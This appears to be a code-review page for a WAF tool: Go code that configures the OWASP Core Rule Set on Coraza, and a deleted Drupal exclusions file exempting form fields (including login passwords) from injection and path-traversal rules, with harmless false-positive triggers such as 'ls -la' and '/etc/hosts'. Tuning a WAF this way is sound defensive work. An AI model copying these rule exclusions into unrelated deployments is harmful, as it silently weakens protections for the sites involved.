# list of the headers it refuses. Content-Encoding goes back on it for a
# body the Core Rule Set reads (900260 in bodyDirectives).
SecAction "id:900250,phase:1,pass,nolog,\
setvar:'tx.restricted_headers_basic=/proxy/ /lock-token/ /content-range/ \
/if/ /x-http-method-override/ /x-http-method/ /x-method-override/ \
/x-middleware-subrequest/'"
%s
# Coraza keeps the first 1000 query parameters of a request, and the first
# 1000 fields of a form data or JSON body, and drops the rest, which no
# rule then reads, so a request with more adds 5 to the score, as a rule
# the Core Rule Set rates critical does. Coraza's recommended
# configuration refuses such a request in its rules 200004 and 200005.
# This rule runs once the body is read, and before the Core Rule Set adds
# up the score in the same phase.
SecArgumentsLimit 1000
SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
# The exclusions file comes before the rules, where the Core Rule Set puts
# its own file of exclusions that run before the rules, so that they run
# before the rules of phase 1 too.
%s
# The eighth change comes before the rules for the same reason.
%s
# The ninth change comes before the rules for the same reason.
%s
# So does the tenth.
%s
# So does the eleventh.
%s
# So does the twelfth.
%s
# So does the thirteenth.
%s
# So does the fourteenth.
%s
# So does the fifteenth.
%s
# And the sixteenth.
%s
# The sixth: only the rules for requests are loaded, and no response is
# inspected.
Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here, and in the fourth,
# without regard to case. ARGS holds the fields of a form data or multipart
# body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: the query parameters in which gitea sends names within a
# repository or its own records, or a page of its own site, are not
# checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, for Java starting a process, or for a Java class name. 944130
# refused every page opened from the page of java.lang.String.md. The
# cookies are left out in Inspect.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
# The seventh: a container image push that reuses a layer names the image
# it takes the layer from in the query parameter from, which is not
# checked for command names. 932260 refused the push of a layer from
# owner/python3-app.
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
`
// bodyDirectives have the Core Rule Set read the part of a request body
// Inspect gives it, which is at most one byte longer than the limit, up to
// the limit, %d bytes, and read JSON and XML as Coraza's recommended
// configuration has it in its rules 200000, 200001 and 200006, with
// text/json, and any application or text type ending in +xml or +json,
// besides; form data and multipart Coraza knows by itself. %% stands for
// a % Coraza reads.
const bodyDirectives = `
SecRequestBodyAccess On
SecRequestBodyLimit %d
SecRequestBodyLimitAction ProcessPartial
SecRule REQUEST_HEADERS:Content-Type \
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?xml" \
"id:900410,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=XML"
SecRule REQUEST_HEADERS:Content-Type \
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?json" \
"id:900420,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=JSON"
# The rest of the second change: Content-Encoding is refused again on a
# body of a kind the Core Rule Set reads, since a compressed body cannot be
# inspected.
SecRule REQBODY_PROCESSOR "@rx ^(?:URLENCODED|MULTIPART|JSON|XML)$" \
"id:900260,phase:1,pass,nolog,\
setvar:'tx.restricted_headers_basic=%%{tx.restricted_headers_basic} \
/content-encoding/'"
# A body Coraza fails to parse (900440), and a multipart body that fails
# its strict checks (900450), each add 5 to the score, as a rule the Core
# Rule Set rates critical does: no rule reads what comes after the fault,
# which the app may still read. Coraza's recommended configuration refuses
# them in its rules 200002 and 200003. A multipart body the limit cuts
# before the colon of a part's header line, or between the carriage return
# and the line feed that end a part's header line or the empty line after
# its headers, adds 5 too, since Coraza takes the line the limit cuts for a
# malformed header. Coraza parses any form data body.
SecRule REQBODY_ERROR "!@eq 0" "id:900440,phase:2,pass,severity:'CRITICAL',\
setvar:'tx.inbound_anomaly_score_pl1=+5'"
SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
`
// giteaExclusions are the eighth change: the fields of gitea's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed gitea.conf
var giteaExclusions string
// wordpressExclusions are the ninth change: the fields of WordPress's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed wordpress.conf
var wordpressExclusions string
// drupalExclusions are the tenth change: the fields of Drupal's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed drupal.conf
var drupalExclusions string
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
// own requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mediawiki.conf
var mediawikiExclusions string
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mastodon.conf
var mastodonExclusions string
// vaultwardenExclusions are the thirteenth change: the fields of
// Vaultwarden's own requests that skip the rules that refused them there, as
// Coraza directives.
//
//go:embed vaultwarden.conf
var vaultwardenExclusions string
// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
// own requests that skip the rules that refused them there, the WebDAV
// methods it uses, its cookie of the account's name, and its uploads,
// whose bodies are not read, as Coraza directives.
//
//go:embed nextcloud.conf
var nextcloudExclusions string
// forgejoExclusions are the fifteenth change: the fields of Forgejo's own
// requests that skip the rules that refused them there, where Forgejo differs
// from gitea, as Coraza directives.
//
//go:embed forgejo.conf
var forgejoExclusions string
// ghostExclusions are the sixteenth change: the fields of Ghost's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed ghost.conf
var ghostExclusions string
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change. flash is Forgejo's name for
// gitea_flash.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "flash", "redirect_to"}
// Params are what New needs.
type Params struct {
// ParanoiaLevel is SWW_WAF_PARANOIA_LEVEL, from 1 to 4.
ParanoiaLevel int
// DisabledRules are the ids of the rules switched off
// (SWW_WAF_DISABLED_RULES).
DisabledRules []int
// BodyLimit is the most of a request body the Core Rule Set reads
// (SWW_WAF_BODY_LIMIT), 0 while it is off and it reads none.
BodyLimit int64
// ExclusionsFile is the path of a file of exclusions loaded before the
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none.
ExclusionsFile string
}
// The ids of sww's own rules, which an exclusions file may not
// name.
const (
firstOwnRuleID = 900000
lastOwnRuleID = 900999
)
// numberOrRange matches a number, or a range of numbers such as
// 900000-900999. Coraza reads a number with a + before it too, so the
// end of a range may have one.
var numberOrRange = regexp.MustCompile(`(\d+)(?:-\+?(\d+))?`)
// errSwwRuleID is the error of an exclusions file that names an
// id of sww's own rules.
var errSwwRuleID = errors.New("an id of sww's own rules")
// errChangesNoRule is the error of an exclusions file that holds a
// directive that removes or changes rules as it loads, such as
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
// the directive finds none of them.
var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
"with a ctl exclusion")
// directivesIn returns the directives in text as Coraza reads them: it
// skips blank lines and comment lines, and joins a line ending in \ to
// the next, without the spaces around either.
func directivesIn(text string) []string {
var directives []string
joined := ""
for line := range strings.Lines(text) {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
if start, found := strings.CutSuffix(line, `\`); found {
joined += start
continue
}
directives = append(directives, joined+line)
joined = ""
}
return directives
}
// checkExclusions returns an error if exclusions, the text of an
// exclusions file, names an id of sww's own rules, alone or in a
// range, or holds a directive whose name starts with SecRuleRemove or
// SecRuleUpdate.
func checkExclusions(exclusions string) error {
for _, directive := range directivesIn(exclusions) {
for _, match := range numberOrRange.FindAllStringSubmatch(directive, -1) {
first, _ := strconv.Atoi(match[1])
last := first
if match[2] != "" {
last, _ = strconv.Atoi(match[2])
}
if first <= lastOwnRuleID && last >= firstOwnRuleID {
return fmt.Errorf("the exclusions file names %s: %w", match[0],
errSwwRuleID)
}
}
// Coraza takes the directive's name up to the first space, without
// regard to case.
name, _, _ := strings.Cut(directive, " ")
if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
strings.HasPrefix(lower, "secruleupdate") {
return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
errChangesNoRule)
}
}
return nil
}
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
// for concurrent use.
type CoreRuleSet struct {
engine coraza.WAF
bodyLimit int64
}
// New returns the Core Rule Set with the sixteen changes, at params'
// paranoia level, without the rules it switches off, reading request
// bodies up to params' limit, and with params' exclusions file loaded
// before the Core Rule Set's rules. An exclusions file is an error if it
// cannot be read or does not parse, or if checkExclusions refuses it.
func New(params Params) (*CoreRuleSet, error) {
body := ""
if params.BodyLimit > 0 {
body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
}
exclusions := ""
if params.ExclusionsFile != "" {
file, err := os.ReadFile(params.ExclusionsFile)
if err != nil {
return nil, fmt.Errorf("read the exclusions file: %w", err)
}
exclusions = string(file)
err = checkExclusions(exclusions)
if err != nil {
return nil, err
}
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
giteaExclusions, wordpressExclusions, drupalExclusions,
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
nextcloudExclusions, forgejoExclusions, ghostExclusions)
if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules))
for i, id := range params.DisabledRules {
ids[i] = strconv.Itoa(id)
}
text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n"
}
engine, err := coraza.NewWAF(coraza.NewWAFConfig().
WithRootFS(coreruleset.FS).
WithDirectives(text))
if err != nil {
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
}
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
}
// Result is what the Core Rule Set found in a request.
type Result struct {
// RuleIDs are the ids of the rules that matched, in the order they
// ran.
RuleIDs []int
// Score is the request's anomaly score: what those rules add up to.
Score int
}
// Inspect runs the Core Rule Set on r, a request from client: on its
// method, its URL with the query, and its headers, the Cookie header
// without the cookies in cookiesNotRead, and on body, r's body as the
// caller has it, as readBody reads it. It returns what it found, what it
// read of body, and the error that ended the reading early, if one did.
func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) {
tx := c.engine.NewTransaction()
// Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }()
tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header {
for _, value := range values {
if name == "Cookie" {
value = withoutCookiesNotRead(value)
if value == "" {
continue // it held those cookies alone
}
}
tx.AddRequestHeader(name, value)
}
}
// Go's server takes these two out of the headers.
tx.AddRequestHeader("Host", r.Host)
for _, encoding := range r.TransferEncoding {
tx.AddRequestHeader("Transfer-Encoding", encoding)
}
tx.ProcessRequestHeaders()
read, err := c.readBody(tx, body)
// This reads the body in memory and runs the rest of the rules, and
// cannot fail.
_, _ = tx.ProcessRequestBody()
var ids []int
for _, matched := range tx.MatchedRules() {
// The rules that look for attacks have a severity; the others set
// the Core Rule Set up and add up the score.
rule := matched.Rule()
if rule.Severity() != types.RuleSeverityUnset {
ids = append(ids, rule.ID())
}
}
return Result{RuleIDs: ids, Score: score(tx)}, read, err
}
// readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWW_WAF_BODY_LIMIT is set and the body is
// of a kind the Core Rule Set reads: form data and multipart, of which it
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
// when they are no longer than that, since they cannot be read in part.
// readBody reads one byte past the limit, to tell which they are, gives
// the Core Rule Set what it reads, and returns what it read and the error
// that ended the reading early, if one did.
func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
if c.bodyLimit == 0 {
return nil, nil
}
inPart := false
// How the body is read is a variable of the transaction, which only
// Coraza's interface for plugins reads.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
switch state.Variables().RequestBodyProcessor().Get() {
case "URLENCODED", "MULTIPART":
inPart = true
case "JSON", "XML":
default:
return nil, nil
}
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
// Coraza holds what it reads of the body in memory, up to the
// limit, so this cannot fail.
_, _, _ = tx.WriteRequestBody(read)
}
return read, err
}
// score returns the anomaly score the Core Rule Set added up in tx, a
// transaction it has run, or 0 if a rule that adds it up is switched off.
func score(tx types.Transaction) int {
// The score is in a variable of the transaction, which only Coraza's
// interface for plugins reads.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
values := state.Variables().TX().Get("blocking_inbound_anomaly_score")
if len(values) == 0 {
return 0
}
n, _ := strconv.Atoi(values[0])
return n
}
// withoutCookiesNotRead returns value, a Cookie header's, without the
// cookies in cookiesNotRead.
func withoutCookiesNotRead(value string) string {
var kept []string
for cookie := range strings.SplitSeq(value, ";") {
name, _, _ := strings.Cut(strings.TrimSpace(cookie), "=")
if !slices.Contains(cookiesNotRead, name) {
kept = append(kept, cookie)
}
}
return strings.Join(kept, ";")
}
File diff suppressed because it is too large. Load diff
-325
View File
@@ -1,325 +0,0 @@
# The tenth change: on Drupal's paths, some fields skip the rules that refused
# ordinary Drupal requests there. They are the fields where Drupal sends a
# search, a name, a file name or an address. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter
# of that name, so it matters only while SWW_WAF_BODY_LIMIT is set. The
# exclusions above the comment "The fields below are in bodies" also cover a
# body field of the same name whatever the query holds, and only those below it
# need a query without that name.
#
# Each path may start with a language prefix, such as /fr in
# /fr/admin/content. The prefix is two or three letters, then optionally a
# hyphen and more letters, as in /pt-br.
#
# Four rules read a search or a name as a command or a system file:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Each query exclusion below removes these four from its fields, with two
# exceptions. Rule 900806 removes only 930120 and 932120 from url. Two more
# rules misfire on destination, the address of a page of results, so
# destination alone skips them too:
# 932230: ls -la
# 932235: python3
# Every admin page's filters and autocompletes, and the page to return to:
# title: /admin/content?title=python3
# name: /admin/content/media?name=python3
# user: /admin/people?user=python3
# filename, filemime: /admin/content/files?filename=python3
# info: /admin/content/block?info=python3
# subject, author_name: /admin/content/comment?subject=python3
# search: /admin/config/search/path?search=python3
# q: /admin/views/ajax/autocomplete/tag?q=python3
# destination: /admin/content?destination=/admin/content%3Ftitle%3Dpython3
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/admin(?:/|$)" \
"id:900800,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:destination,\
ctl:ruleRemoveTargetById=932235;ARGS:destination,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/"
# The page to return to, on the other pages Drupal links to with one, such as
# /node/1/edit?destination=/search/node%3Fkeys%3Dpython3,
# /node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dpython3 and
# /big_pipe/no-js?destination=/admin/content%3Ftitle%3Dpython3.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/[a-z]+|[0-9]+/revisions/[0-9]+/(?:revert|delete))|comment/[0-9]+/[a-z]+|media/(?:add/[^/]+|[0-9]+/[a-z]+)|taxonomy/term/[0-9]+/[a-z]+|user/[^/]+(?:/[a-z]+)?|block/add/[^/]+|big_pipe/no-js)$" \
"id:900801,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:destination,\
ctl:ruleRemoveTargetById=932120;ARGS:destination,\
ctl:ruleRemoveTargetById=932230;ARGS:destination,\
ctl:ruleRemoveTargetById=932235;ARGS:destination,\
ctl:ruleRemoveTargetById=932250;ARGS:destination,\
ctl:ruleRemoveTargetById=932260;ARGS:destination"
# The text searched for on the search pages: /search/node?keys=python3.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/search(?:/|$)" \
"id:900802,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:keys,\
ctl:ruleRemoveTargetById=932120;ARGS:keys,\
ctl:ruleRemoveTargetById=932250;ARGS:keys,\
ctl:ruleRemoveTargetById=932260;ARGS:keys"
# What is typed into a field that autocompletes a tag, a user, a link in the
# rich text editor or a block's category:
# /entity_reference_autocomplete/taxonomy_term/default/KEY?q=python3
# /ckeditor5/basic_html/entity-link-suggestions?q=python3
# /block-category/autocomplete?q=python3
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:entity_reference_autocomplete/|ckeditor5/[^/]+/entity-link-suggestions$|block-category/autocomplete$)" \
"id:900803,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The values a JSON:API client filters by, in fields named after what they
# filter: /jsonapi/node/article?filter[title]=python3 and
# filter[f][condition][value]=python3.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/jsonapi/" \
"id:900804,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^filter\[/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^filter\[/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^filter\[/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^filter\[/"
# A name, in the query or a body: the account whose password is reset, and
# the media library's filter by name:
# /user/password?name=python3
# /media-library?media_library_opener_id=...&name=python3
# /views/ajax?view_name=media_library&name=python3
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/password|media-library|views/ajax)$" \
"id:900805,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:name,\
ctl:ruleRemoveTargetById=932120;ARGS:name,\
ctl:ruleRemoveTargetById=932250;ARGS:name,\
ctl:ruleRemoveTargetById=932260;ARGS:name"
# The address of a remote video shown in a page:
# 930120: /media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2F.htaccess
# 932120: /media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2Fpowershell
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/media/oembed$" \
"id:900806,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The fields below are in bodies. Saving content sends its title, summary, tags,
# address, revision note, comment subject, media name and image text, which
# skip the same four rules there. A title such as "python3, ls -la and .htaccess"
# refused saving a node.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit)|media/(?:add/[^/]+|[0-9]+/edit))$" \
"id:900810,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:title|subject|name|body|revision_log|path|field_tags|field_)/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/"
# The rich text editor sends HTML in body and comment_body. Each of these rules
# refused saving a node or a comment whose HTML held an image and a code block
# with a shell script, an SQL query and JavaScript, so they skip those fields:
# 930120, 932120, 932125, 932140, 932160, 932230, 932235, 932250, 932260,
# 934100, 941160, 941390, 942170 and 942230.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit))$" \
"id:900811,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:comment_)?body\[/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932140;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=934100;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=941390;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=942170;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:comment_)?body\[0\]\[value\]$/"
# A JSON:API client saving a node or a comment sends the same HTML in the
# JSON field body.value or comment_body.value, which skips the rules above. A
# title, summary, subject, name, revision note, block description or tag
# description beside it skips 930120, 932120, 932250 and 932260. A tag named
# python3 refused saving it.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/jsonapi/" \
"id:900812,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.data\.attributes\./ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=932140;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=934100;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=941390;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=942170;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/"
# Signing in, in name and pass or the JSON fields of the same names. A
# password holds any characters:
# 930120: a password ending in /etc/hosts, or a name of .htaccess
# 932120: a password or a name of powershell
# 932250: a password or a name of ls -la
# 932260: a password or a name starting with python3
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
"id:900813,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?(?:name|pass)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
# The password, pass, skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
"id:900819,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
